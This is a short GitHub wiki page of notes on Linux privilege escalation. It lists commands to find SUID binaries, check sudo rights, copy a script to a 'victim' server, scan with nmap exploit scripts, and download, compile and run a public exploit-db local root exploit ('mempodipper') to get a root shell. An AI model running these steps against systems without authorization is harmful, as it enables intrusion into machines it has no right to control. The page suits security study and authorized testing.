-
Notifications
You must be signed in to change notification settings - Fork 14
Privilege Escalation in Linux
lethanhtung01011980 edited this page Jan 3, 2020
·
10 revisions
- To get admin / root privilege in Linux
- Ref: https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
- https://null-byte.wonderhowto.com/how-to/use-misconfigured-suid-bit-escalate-privileges-get-root-0173929/
find / -user root -perm -4000 -print 2>/dev/null
- Check which commands can execute:
sudo -l
- scp script.c victim_user@victim_server:/home/victim_user
Scan for vulnerable exploits with nmap
nmap --script exploit -Pn $ip
Download exploit in C from http://www.exploit-db.com
- Eg: Search "Ubuntu escalation"
- wget -O exploit.c http://www.exploit-db.com/download/18411
Compile
- gcc -o mempodipper exploit.c
Execute and get shell
- ./mempodipper